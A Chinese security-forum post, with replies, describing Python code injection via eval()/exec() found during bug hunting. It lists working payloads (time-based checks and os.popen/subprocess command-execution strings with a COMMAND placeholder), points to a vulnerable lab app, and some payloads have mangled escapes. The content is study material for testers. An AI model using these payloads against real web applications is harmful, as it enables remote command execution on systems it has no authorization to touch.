python代码注入

2020-03-31 13:53:39 9 2134
1.限号季,发一下之前的一点笔记写的很浅显希望各位大佬勿喷
.在挖掘某专属厂商的时候出现了一个有意思的地方,python代码执行


2.简单的进行验证一下可以发现sleep进行了执行




3.基本确定存在python代码执行漏洞,但是如何利用呢,翻到一篇安全客的文章https://www.anquanke.com/post/id/84891是一篇翻译的文章 ,简单的进行解析一下。
文章解析:
python代码注入的原因:
当你在网上搜索关于python的eval()函数时,几乎没有文章会提醒你这个函数是非常不安全的,而eval()函数就是导致这个Python代码注入漏洞的罪魁祸首。如果你遇到了下面这两种情况,说明你的Web应用中存在这个漏洞:
1. Web应用接受用户输入(例如GET/POST参数,cookie值);
2. Web应用使用了一种不安全的方法来将用户的输入数据传递给eval()函数(没有经过安全审查,或者缺少安全保护机制);
3.除了eval()函数之外,Python的exec()函数也有可能让你的Web应用中出现这个漏洞
这是文章中给的示例代码


总结来说就是使用了eval 和exec函数没有进行过滤


4.然后作者提供了几个验证的payload

1.通过返回时间验证
eval(compile('for x in range(1):n import timen time.sleep(20)','a','single'))上面已经给了验证
2.命令执行
eval(compile("""for x in range(1):\n import os\n os.popen(r'COMMAND').read()""",'','single'))



3.eval(compile("""__import__('os').popen(r'COMMAND').read()""",'','single'))命令执行
4.__import__('os').popen('COMMAND').read()命令执行

5.作者提供了一个python代码执行利用工具https://github.com/sethsec/PyCodeInjection,自己简单测试了一下,没成功有兴趣的可以研究一下

作者提供的复现环境:
git clone https://github.com/sethsec/PyCodeInjection.git 
cd VulnApp
./install_requirements.sh
python PyCodeInjectionApp.py
6.作者还提到了一个场景当全局函数“__import__”会不起作用的时候可以利用for循环
eval(compile("""for x in range(1):n import osn os.popen(r'COMMAND').read()""",'','single'))
eval(compile("""for x in range(1):n import subprocessn subprocess.Popen(r'COMMAND',shell=True, stdout=subprocess.PIPE).stdout.read()""",'','single'))
eval(compile("""for x in range(1):n import subprocessn subprocess.check_output(r'COMMAND',shell=True)""",'','single'))
另外作者提到了一个点:为了将这个Payload发送给目标Web应用,你需要对其中的某些字符进行URL编码,但是我在进行验证的时候并不需要可能是场景的问题,具体的话还有很多需要探索的。
如何检测:这是作者提供的,我简单的理解就是hhh用burp或者扫描器检测



具体也去搜索了一下发现国内并没有多少python代码注入漏洞的文章,如果有更好的检测方法可以在下面留言

关于作者

zoneBAI7篇文章53篇回复

评论9次

要评论?请先  登录  或  注册
  • 9楼
    2020-4-9 21:44

    python的还是少见

  • 8楼
    2020-4-1 16:24
    Kakarotto

    挺有意思,查了下compile() 用法:compile() 函数将一个字符串编译为字节代码。语法compile(source, filename, mode])参数flags -- 变量作用域,局部命名空间,如果被提供,可以是任何映射对象。flags和dont_inherit是用来控制编译源码时的标志不过 'for x in range(1):n import timen time.sleep(20)' 的 import前面那个 n 是什么意思,不符合python语法啊

    1
    zoneBAI

    \n 可能反斜杠被吃了

    2

    扫噶,多谢

  • 7楼
    2020-4-1 16:24
    Kakarotto

    挺有意思,查了下compile() 用法:compile() 函数将一个字符串编译为字节代码。语法compile(source, filename, mode])参数flags -- 变量作用域,局部命名空间,如果被提供,可以是任何映射对象。flags和dont_inherit是用来控制编译源码时的标志不过 'for x in range(1):n import timen time.sleep(20)' 的 import前面那个 n 是什么意思,不符合python语法啊

    1
    closed

    \n 回车吧 图片里的

    2

    扫噶,多谢

  • 6楼
    2020-4-1 13:46

    现在使用web包的网站还是很少了,老知识回顾挺好的

  • 5楼
    2020-4-1 09:28
    Kakarotto

    挺有意思,查了下compile() 用法:compile() 函数将一个字符串编译为字节代码。语法compile(source, filename, mode])参数flags -- 变量作用域,局部命名空间,如果被提供,可以是任何映射对象。flags和dont_inherit是用来控制编译源码时的标志不过 'for x in range(1):n import timen time.sleep(20)' 的 import前面那个 n 是什么意思,不符合python语法啊

    1

    \n 可能反斜杠被吃了

  • 4楼
    2020-3-31 17:40
    Kakarotto

    挺有意思,查了下compile() 用法:compile() 函数将一个字符串编译为字节代码。语法compile(source, filename, mode])参数flags -- 变量作用域,局部命名空间,如果被提供,可以是任何映射对象。flags和dont_inherit是用来控制编译源码时的标志不过 'for x in range(1):n import timen time.sleep(20)' 的 import前面那个 n 是什么意思,不符合python语法啊

    1

    \n 回车吧 图片里的

  • 3楼
    2020-3-31 17:22

    挺有意思,查了下compile() 用法: compile() 函数将一个字符串编译为字节代码。 语法 compile(source, filename, mode[, flags[, dont_inherit]]) 参数 flags -- 变量作用域,局部命名空间,如果被提供,可以是任何映射对象。 flags和dont_inherit是用来控制编译源码时的标志 不过 'for x in range(1):n import timen time.sleep(20)' 的 import前面那个 n 是什么意思,不符合python语法啊

  • 2楼
    2020-3-31 15:44
    OverJerry

    xi望楼主能说一下是在实现什么功能的接口处发现的,,,让菜鸟我学xi一下思路

    1

    某个ai识别平台的,估计用python写的解析

  • 1楼
    2020-3-31 14:59

    xi望楼主能说一下是在实现什么功能的接口处发现的,,,让菜鸟我学xi一下思路